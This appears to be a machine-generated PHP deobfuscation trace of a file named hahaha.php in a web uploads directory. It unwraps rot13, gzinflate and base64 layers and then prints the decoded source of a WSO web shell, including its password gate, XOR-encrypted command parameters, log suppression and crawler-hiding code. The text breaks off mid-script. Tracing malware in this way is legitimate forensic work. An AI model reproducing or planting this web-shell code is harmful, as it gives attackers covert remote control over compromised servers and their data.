2	7	0	0.004432	607488	str_rot13	0		/var/www/html/uploads/hahaha.php	1	1	'ս[{��\0237���o��Y��\027\036\021\024\017���)$� �S���H��Р&�L��~�l�q����:hկ��ź��\034�� ���D\033��w��ҵ��ױ3\t\017m�8u���1��jV��7�`��?��A��T��k\037I\016˅�E�~�C�)<\037Y��cL�&�ض-�?]��\vb#�6|z9�S��aI�����o\033��K�5���oB�О�\023_�;��D�r\033��ߙSp\034\033�7u�\\h�\033(�l�xI�(\033H�;�\033݁�\005���n�9�����k�LvЩR�·���S�z�?�\032,�N4�M�sbJ%+����~\030&\026��(z��\004׀��-�n4���X��\n���J�a��t�S�9�Ir\035�����1\\a��dg�y\034�J/��}^���װϞIX\\�#yf\016}9��zH6Ou��`ϴ�ߛ��=��<�qp�����|�p�1e`��x�\nK�'
2	7	1	0.005197	644384
2	7	R			'ս[{��\0237���b��L��\027\036\021\024\017���)$� �F���U��Р&�Y��~�y�d����:uկ��ź��\034�� ���Q\033��j��ҵ��ױ3\t\017z�8h���1��wI��7�`��?��N��G��x\037V\016˅�R�~�P�)<\037L��pY�&�ض-�?]��\vo#�6|m9�F��nV�����b\033��X�5���bO�О�\023_�;��Q�e\033��ߙFc\034\033�7h�\\u�\033(�y�kV�(\033U�;�\033݁�\005���a�9�����x�YiЩE�·���F�m�?�\032,�A4�Z�foW%+����~\030&\026��(m��\004׀��-�a4���K��\n���W�n��g�F�9�Ve\035�����1\\n��qt�l\034�W/��}^���װϞVK\\�#ls\016}9��mU6Bh��`ϴ�ߛ��=��<�dc�����|�c�1r`��k�\nX�'
1		A						/var/www/html/uploads/hahaha.php	1	$e03d2b0d3f2b0d0S32G0DF32G0SD30S3Gerbe1r3b20etb0b00Ftb0r0tr3b2rt3516zfSDGzegzegz9ergz6e5gRRJGRZG5sqdg5sgr1ERRH51RTH3RTH0RN30R3NRN51R5T6N03d2b0d3f2b0d0S32G0DF32G0SD30S3Gerbe1r3b20etb0b00Ftb0r0tr3b2rt3516zfSDGzegzegz9ergz6e5gRRJGRZG5sqdg5sgr1ERRH51RTH3RTH0RN30R3NRN51R5T6N03d2b0d3f2b0d0S32G0DF32G0SD30S3Gerbe1r3b20etb0b00Ftb0r0tr3b2rt3516zfSDGzegzegz9ergz6e5gRRJGRZG5sqdg5sgr1ERRH51RTH3RTH0RN30R3NRN51R5T6N03d2b0d3f2b0d0S32G0DF32G0SD30S3Gerbe1r3b20etb0b00Ftb0r0tr3b2rt3516zfSDGzegzegz9ergz6e5gRRJGRZG5sqdg5sgr1ERRH51RTH3RTH0RN30R3NRN51R5T6N03d2b0d3f2b0d0S32G0DF32G0SD30S3Gerbe1r3b20etb0b00Ftb0r0tr3b2rt3516zfSDGzegzegz9ergz6e5gRRJGRZG5sqdg5sgr1ERRH51RTH3RTH0RN30R3NRN51R5T6N03d2b0d3f2b0d0S32G0DF32G0SD30S3Gerbe1r3b20etb0b00Ftb0r0tr3b2rt3516zfSDGzegzegz9ergz6e5gRRJGRZG5sqdg5sgr1ERRH51RTH3RTH0RN30R3NRN51R5T6N03d2b0d3f2b0d0S32G0DF32G0SD30S3Gerbe1r3b20etb0b00Ftb0r0tr3b2rt3516zfSDGzegzegz9ergz6e5gRRJGRZG5sqdg5sgr1ERRH51RTH3RTH0RN30R3NRN51R5T6N03d2b0d3f2b0d0S32G0DF32G0SD30S3Gerbe1r3b20etb0b00Ftb0r0tr3b2rt3516zfSDGzegzegz9ergz6e5gRRJGRZG5sqdg5sgr1ERRH51RTH3RTH0RN30R3NRN51R5T6N03d2b0d3f2b0d0S32G0DF32G0SD30S3Gerbe1r3b20etb0b00Ftb0r0tr3b2rt3516zfSDGzegzegz9ergz6e5gRRJGRZG5sqdg5sgr1ERRH51RTH3RTH0RN30R3NRN51R5T6N03d2b0d3f2b0d0S32G0DF32G0SD30S3Gerbe1r3b20etb0b00Ftb0r0tr3b2rt3516zfSDGzegzegz9ergz6e5gRRJGRZG5sqdg5sgr1ERRH51RTH3RTH0RN30R3NRN51R5T6N03d2b0d3f2b0d0S32G0DF32G0SD30S3Gerbe1r3b20etb0b00Ftb0r0tr3b2rt3516zfSDGzegzegz9ergz6e5gRRJGRZG5sqdg5sgr1ERRH51RTH3RTH0RN30R3NRN51R5T6N = 'ս[{��\0237���b��L��\027\036\021\024\017���)$� �F���U��Р&�Y��~�y�d����:uկ��ź��\034�� ���Q\033��j��ҵ��ױ3\t\017z�8h���1��wI��7�`��?��N��G��x\037V\016˅�R�~�P�)<\037L��pY�&�ض-�?]��\vo#�6|m9�F��nV�����b\033��X�5���bO�О�\023_�;��Q�e\033��ߙFc\034\033�7h�\\u�\033(�y�kV�(\033U�;�\033݁�\005���a�9�����x�YiЩE�·���F�m�?�\032,�A4�Z�foW%+����~\030&\026��(m��\004׀��-�a4���K��\n���W�n��g�F�9�Ve\035�����1\\n��qt�l\034�W/��}^���װϞVK\\�#ls\016}9��mU6Bh��`ϴ�ߛ��=��<�dc�����|�c�1r`��k�\nX�'
2	8	0	0.006449	644352	gzinflate	0		/var/www/html/uploads/hahaha.php	1	1	'ս[{��\0237���b��L��\027\036\021\024\017���)$� �F���U��Р&�Y��~�y�d����:uկ��ź��\034�� ���Q\033��j��ҵ��ױ3\t\017z�8h���1��wI��7�`��?��N��G��x\037V\016˅�R�~�P�)<\037L��pY�&�ض-�?]��\vo#�6|m9�F��nV�����b\033��X�5���bO�О�\023_�;��Q�e\033��ߙFc\034\033�7h�\\u�\033(�y�kV�(\033U�;�\033݁�\005���a�9�����x�YiЩE�·���F�m�?�\032,�A4�Z�foW%+����~\030&\026��(m��\004׀��-�a4���K��\n���W�n��g�F�9�Ve\035�����1\\n��qt�l\034�W/��}^���װϞVK\\�#ls\016}9��mU6Bh��`ϴ�ߛ��=��<�dc�����|�c�1r`��k�\nX�'
2	8	1	0.007425	754976
2	8	R			'aWYgKCFpc3NldCgkX1BPU1RbJ2x5bngnXSkpIHsNCg0KJOKWmyA9ICIiOyAvL2FkbWluDQok4paYID0gdHJ1ZTsNCiTilpwgPSAnVVRGLTgnOw0KJOKWmiA9ICdGaWxlc01hbic7DQok4paZID0gbWQ1KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7DQoNCmZ1bmN0aW9uIGRlY3J5cHQoJHN0ciwkcHdkKXskcHdkPWJhc2U2NF9lbmNvZGUoJHB3ZCk7JHN0cj1iYXNlNjRfZGVjb2RlKCRzdHIpOyRlbmNfY2hyPSIiOyRlbmNfc3RyPSIiOyRpPTA7d2hpbGUoJGk8c3RybGVuKCRzdHIpKXtmb3IoJGo9MDskajxzdHJsZW4oJHB3ZCk7JGorKyl7JGVuY19jaHI9Y2hyKG9yZCgkc3RyWyRpXSleb3JkKCRwd2RbJGpdKSk7JGVuY19zdHIuPSRlbmNfY2hyOyRpKys7aWYoJGk+PXN0'
1		A						/var/www/html/uploads/hahaha.php	1	$fy5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6 = 'aWYgKCFpc3NldCgkX1BPU1RbJ2x5bngnXSkpIHsNCg0KJOKWmyA9ICIiOyAvL2FkbWluDQok4paYID0gdHJ1ZTsNCiTilpwgPSAnVVRGLTgnOw0KJOKWmiA9ICdGaWxlc01hbic7DQok4paZID0gbWQ1KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7DQoNCmZ1bmN0aW9uIGRlY3J5cHQoJHN0ciwkcHdkKXskcHdkPWJhc2U2NF9lbmNvZGUoJHB3ZCk7JHN0cj1iYXNlNjRfZGVjb2RlKCRzdHIpOyRlbmNfY2hyPSIiOyRlbmNfc3RyPSIiOyRpPTA7d2hpbGUoJGk8c3RybGVuKCRzdHIpKXtmb3IoJGo9MDskajxzdHJsZW4oJHB3ZCk7JGorKyl7JGVuY19jaHI9Y2hyKG9yZCgkc3RyWyRpXSleb3JkKCRwd2RbJGpdKSk7JGVuY19zdHIuPSRlbmNfY2hyOyRpKys7aWYoJGk+PXN0'
2	9	0	0.007626	754944	base64_decode	0		/var/www/html/uploads/hahaha.php	1	1	'aWYgKCFpc3NldCgkX1BPU1RbJ2x5bngnXSkpIHsNCg0KJOKWmyA9ICIiOyAvL2FkbWluDQok4paYID0gdHJ1ZTsNCiTilpwgPSAnVVRGLTgnOw0KJOKWmiA9ICdGaWxlc01hbic7DQok4paZID0gbWQ1KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7DQoNCmZ1bmN0aW9uIGRlY3J5cHQoJHN0ciwkcHdkKXskcHdkPWJhc2U2NF9lbmNvZGUoJHB3ZCk7JHN0cj1iYXNlNjRfZGVjb2RlKCRzdHIpOyRlbmNfY2hyPSIiOyRlbmNfc3RyPSIiOyRpPTA7d2hpbGUoJGk8c3RybGVuKCRzdHIpKXtmb3IoJGo9MDskajxzdHJsZW4oJHB3ZCk7JGorKyl7JGVuY19jaHI9Y2hyKG9yZCgkc3RyWyRpXSleb3JkKCRwd2RbJGpdKSk7JGVuY19zdHIuPSRlbmNfY2hyOyRpKys7aWYoJGk+PXN0'
2	9	1	0.007973	865568
2	9	R			'if (!isset($_POST[\'lynx\'])) {\r\n\r\n$▛ = ""; //admin\r\n$▘ = true;\r\n$▜ = \'UTF-8\';\r\n$▚ = \'FilesMan\';\r\n$▙ = md5($_SERVER[\'HTTP_USER_AGENT\']);\r\n\r\nfunction decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}\r\nfunction prototype($k, $v) { $_COOKIE[$k] = $v;se'
1		A						/var/www/html/uploads/hahaha.php	1	$gy5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6 = 'if (!isset($_POST[\'lynx\'])) {\r\n\r\n$▛ = ""; //admin\r\n$▘ = true;\r\n$▜ = \'UTF-8\';\r\n$▚ = \'FilesMan\';\r\n$▙ = md5($_SERVER[\'HTTP_USER_AGENT\']);\r\n\r\nfunction decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}\r\nfunction prototype($k, $v) { $_COOKIE[$k] = $v;se'
2	10	0	0.010796	1514328	eval	1	'if (!isset($_POST[\'lynx\'])) {\r\n\r\n$▛ = ""; //admin\r\n$▘ = true;\r\n$▜ = \'UTF-8\';\r\n$▚ = \'FilesMan\';\r\n$▙ = md5($_SERVER[\'HTTP_USER_AGENT\']);\r\n\r\nfunction decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}\r\nfunction prototype($k, $v) { $_COOKIE[$k] = $v;setcookie($k, $v);}\r\n\r\nif (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"])) {\r\n\tprototype(md5($_SERVER[\'HTTP_HOST\'])."key", $▙);\r\n}\r\nif(empty($_POST[\'charset\']))\r\n\t$_POST[\'charset\'] = $▜;\r\nif (!isset($_POST[\'ne\'])) {\r\n\tif(isset($_POST[\'a\'])) $_POST[\'a\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'a\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'c\'])) $_POST[\'c\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'c\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'p1\'])) $_POST[\'p1\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p1\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'p2\'])) $_POST[\'p2\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p2\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'p3\'])) $_POST[\'p3\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p3\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n}\r\n//function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}\r\n@ini_set(\'error_log\',NULL);\r\n@ini_set(\'log_errors\',0);\r\n@ini_set(\'max_execution_time\',0);\r\n@set_time_limit(0);\r\nif (PHP_VERSION_ID < 70000)\r\n\t@set_magic_quotes_runtime(0);\r\n@define(\'VERSION\', \'4.2.5\');\r\nif(get_magic_quotes_gpc()) {\r\n\tfunction stripslashes_array($array) {\r\n\t\treturn is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array);\r\n\t}\r\n\t$_POST = stripslashes_array($_POST);\r\n    $_COOKIE = stripslashes_array($_COOKIE);\r\n}\r\n/* (С) 11.2011 oRb */\r\nif(!empty($▛)) {\r\n    if(isset($_POST[\'pass\']) && (md5($_POST[\'pass\']) == $▛))\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']), $▛);\r\n    if (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])]) || ($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])] != $▛))\r\n        hardLogin();\r\n}\r\nif(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\']))\r\n    $_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool)$▘;\r\nfunction hardLogin() {\r\n\t\tif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\r\n\t\t  $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\r\n\t\t  if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\r\n\t\t  header(\'HTTP/1.0 404 Not Found\');\r\n\t\t  exit;\r\n\t\t  }\r\n\t\t}\r\n\tdie("<pre align=center><form method=post>Password<br><input type=password name=pass style=\'background-color:whitesmoke;border:1px solid #FFF;outline:none;\' required><input type=submit name=\'watching\' value=\'submit\' style=\'border:none;background-color:#56AD15;color:#fff;cursor:pointer;\'></form></pre>");\r\n}\r\nif(strtolower(substr(PHP_OS,0,3)) == "win")\r\n\t$os = \'win\';\r\nelse\r\n\t$os = \'nix\';\r\n$safe_mode = @ini_get(\'safe_mode\');\r\nif(!$safe_mode)\r\n    error_reporting(0);\r\n$disable_functions = @ini_get(\'disable_functions\');\r\n$home_cwd = @getcwd();\r\nif(isset($_POST[\'c\']))\r\n\t@chdir($_POST[\'c\']);\r\n$cwd = @getcwd();\r\nif($os == \'win\') {\r\n\t$home_cwd = str_replace("\\\\", "/", $home_cwd);\r\n\t$cwd = str_replace("\\\\", "/", $cwd);\r\n}\r\nif($cwd[strlen($cwd)-1] != \'/\')\r\n\t$cwd .= \'/\';\r\n/* (С) 04.2015 Pirat */\r\nfunction hardHeader() {\r\n\tif(empty($_POST[\'charset\']))\r\n\t\t$_POST[\'charset\'] = $GLOBALS[\'▜\'];\r\n\techo "<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=" . $_POST[\'charset\'] . "\'><title>" . $_SERVER[\'HTTP_HOST\'] . " - WSO " . VERSION ."</title>\r\n<style>\r\n\tbody {background-color:#444; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}\r\n\r\n\t#particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(\'\'); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}\r\n\tbody,td,th\t{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}\r\n\ttable.info\t{color: #fff;background-color: #222;}\r\n\ttable#toolsTbl {background-color: #222;}\r\n\tspan,h1,a\t{color:#df5 !important;}\r\n\tspan\t\t{font-weight:bolder;}\r\n\th1\t\t\t{border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#222;margin:0px;}\r\n\tdiv.content\t{padding:5px;margin-left:5px;background-color:#060a10;}\r\n\ta\t\t\t{text-decoration:none;}\r\n\ta:hover\t\t{text-decoration:underline;}\r\n\t.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}\r\n\t.tooltip:hover::after {opacity:1;visibility:visible;}\r\n\t.ml1\t\t{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}\r\n\t.bigarea\t{min-width:100%;max-width:100%;height:400px;}\r\n\tinput, textarea, select\t{margin:0;color:#fff;background-color:#202832;border:solid 1px #df5;font:9pt Courier New;outline:none;}\r\n\tlabel {position:relative}\r\n\tlabel:after {content:\'<>\';font:10px \'Consolas\', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\r\n\tlabel:before {content:\'\';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}\r\n\tform\t\t{margin:0px;}\r\n\t#toolsTbl\t{text-align:center;}\r\n\t#fak \t\t{background:none;}\r\n\t#fak td \t{padding:5px 0 0 0;}\r\n\tiframe\t\t{border:1px solid #060a10;}\r\n\t.toolsInp\t{width:300px}\r\n    .main th{text-align:left;background-color:#5e5e5e;}\r\n    .main tr:hover{background-color:#5e5e5e}\r\n\tinput[type=\'submit\']{background-color:#2E6E9C;}\r\n\tinput[type=\'button\']{background-color:#2E6E9C;}\r\n\tinput[type=\'submit\']:hover{background-color:#56AD15;}\r\n\tinput[type=\'button\']:hover{background-color:#56AD15;}\r\n\t.l2{background-color:#444}\r\n    .l1{background-color:#333}\r\n\tpre\t\t\t{font:9pt Courier New;}\r\n</style>\r\n<script>\r\n    var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';\r\n    var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'\r\n    var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';\r\n    var p1_ = \'" . ((strpos(@$_POST[\'p1\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES)) ."\';\r\n    var p2_ = \'" . ((strpos(@$_POST[\'p2\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES)) ."\';\r\n    var p3_ = \'" . ((strpos(@$_POST[\'p3\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES)) ."\';\r\n    var d = document;\r\n\t\r\n\tfunction encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr=\'\';var enc_str=\'\';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\r\n\tfunction utf8_encode(argString){var string=(argString+\'\');var utftext=\'\',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\r\n\tfunction base64_encode(data){var b64 = \'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc=\'\',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+\'\');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join(\'\');switch (data.length%3){case 1:enc=enc.slice(0,-2)+\'==\';break;case 2:enc=enc.slice(0,-1)+\'=\';break;}return enc;}\r\n\tfunction set(a,c,p1,p2,p3,charset) {\r\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\r\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\r\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\r\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\r\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\r\n\t\td.mf.a.value = encrypt(d.mf.a.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.c.value = encrypt(d.mf.c.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p1.value = encrypt(d.mf.p1.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p2.value = encrypt(d.mf.p2.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p3.value = encrypt(d.mf.p3.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\r\n\t}\r\n\tfunction g(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\td.mf.submit();\r\n\t}\r\n\tfunction a(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\tvar params = \'ajax=true\';\r\n\t\tfor(i=0;i<d.mf.elements.length;i++)\r\n\t\t\tparams += \'&\'+d.mf.elements[i].name+\'=\'+encodeURIComponent(d.mf.elements[i].value);\r\n\t\tsr(\'" . addslashes($_SERVER[\'REQUEST_URI\']) ."\', params);\r\n\t}\r\n\tfunction sr(url, params) {\r\n\t\tif (window.XMLHttpRequest)\r\n\t\t\treq = new XMLHttpRequest();\r\n\t\telse if (window.ActiveXObject)\r\n\t\t\treq = new ActiveXObject(\'Microsoft.XMLHTTP\');\r\n        if (req) {\r\n            req.onreadystatechange = processReqChange;\r\n            req.open(\'POST\', url, true);\r\n            req.setRequestHeader (\'Content-Type\', \'application/x-www-form-urlencoded\');\r\n            req.send(params);\r\n        }\r\n\t}\r\n\tfunction processReqChange() {\r\n\t\tif( (req.readyState == 4) )\r\n\t\t\tif(req.status == 200) {\r\n\t\t\t\tvar reg = new RegExp(\\"(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\\", \'m\');\r\n\t\t\t\tvar arr=reg.exec(req.responseText);\r\n\t\t\t\teval(arr[2].substr(0, arr[1]));\r\n\t\t\t} else alert(\'Request 